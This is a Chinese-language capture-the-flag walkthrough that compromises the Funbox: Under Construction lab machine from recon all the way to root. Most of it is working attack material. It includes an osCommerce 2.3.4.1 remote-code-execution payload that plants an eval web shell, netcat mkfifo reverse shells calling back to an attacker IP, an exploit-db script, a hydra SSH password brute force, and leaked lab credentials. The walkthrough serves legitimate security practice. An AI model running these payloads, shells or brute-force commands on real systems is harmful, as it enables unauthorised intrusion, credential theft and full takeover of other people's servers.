Funbox: Under Construction靶机下载地址
信息收集
主机发现
扫描攻击机同网段存活主机。
nmap 192.168.31.0/24 -Pn -T4
目标机ip:192.168.31.197
端口扫描
扫描目标机开放端口。
nmap 192.168.31.197 -A -p- -T4
目标机开放端口有:22,25,80,110,143。
目录扫描
访问80端口的http服务,没什么线索。
进一步信息收集,目录扫描。
dirsearch -u http://192.168.31.197
访问/catalog,整个页面最重要的信息是:osCommerce v2.3.4.1。
漏洞利用
osCommerce是一套国际著名的开源免费的电子商务系统,运行于PHP+MySQL服务器环境。而该站点使用的osCommerce v2.3.4.1版本存在远程代码执行漏洞。
payload: http://192.168.31.197/catalog/install/install.php?step=4 post:DIR_FS_DOCUMENT_ROOT=./&DB_DATABASE=');@eval($_POST['cmd']);/*
使用蚁剑连接(http://192.168.31.197/catalog/install/includes/configure.php)。成功getshell。
在configure.php.bak中找到数据库用户名及密码。
用户名:jack
密码:yellow
接下来蚁剑能进行的操作就很少了,需要想办法反弹shell到攻击机中。测试多种反弹方式,只有下面两种可行。(第二种反弹方式会出现su: must be run from a terminal问题,解决方法后面展示)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.31.218 7777 >/tmp/f # or rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.31.218 7777 >/tmp/f
成功反弹。
也可以通过searchsploit搜索漏洞exp。searchsploit osCommerce
选择适合的exp。
这里我使用的是第二个exp。
searchsploit -m 50128.py python3 50128.py http://192.168.31.197/catalog
成功,然后反弹shell(上面两种二选一)。原理都是一样的,使用现成的exp更方便。
切换到家目录,发现存在四个用户,当前权限过低(www-data)无法访问相关目录。
尝试远程登录ssh服务。在前面得到了jack的密码,使用jack用户远程登录ssh发现密码错误(这里不太明白设置jack用户的意义)。密码错误,用hydra爆破jack用户密码,没成功。其余三个用户也分别用hydra爆破一下。
hydra -l username -P /usr/share/wordlists/nmap.lst ssh://192.168.31.197
最终只有susan用户,爆破得到密码shadow。
susan远程登录ssh服务器,user.txt内容如下。
提权
尝试常见几种提权方式无果后,上传pspy64(pspy可以在没有root权限的情况实时监控linux进程和其他用户的计划任务)到目标机。pspy64下载地址
# 攻击机在pspy64目录下开启http服务 python3 -m http.server 8989 # 目标机下载 wget http://192.168.31.218:8989/pspy64 chmod 777 pspy64 ./pspy64
根据运行结果,发现一个计划任务,每分钟都会执行,可以向这个cron.sh写入反弹shell。
看一下cron.sh代码内容:
cat /usr/share/doc/examples/cron.sh
base64解码工具解一下,发现这里直接告诉了我们root用户的密码,并不需要写入反弹shell的方式来提权。
用户名:root
密码:rfvbgt!!
切换到root用户。su root
,提示su: must be run from a terminal,提示需要在终端中执行,很疑惑我这不是在交互式shell里吗?
多次测试发现由于我使用的是rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.31.218 7777 >/tmp/f这种反弹方式(即上面的第二种)才会出现这种情况,百度得知解决方法:用python调用本地的shell
python -c 'import pty;pty.spawn("/bin/bash")'
成功切换至root权限。
get flag🎆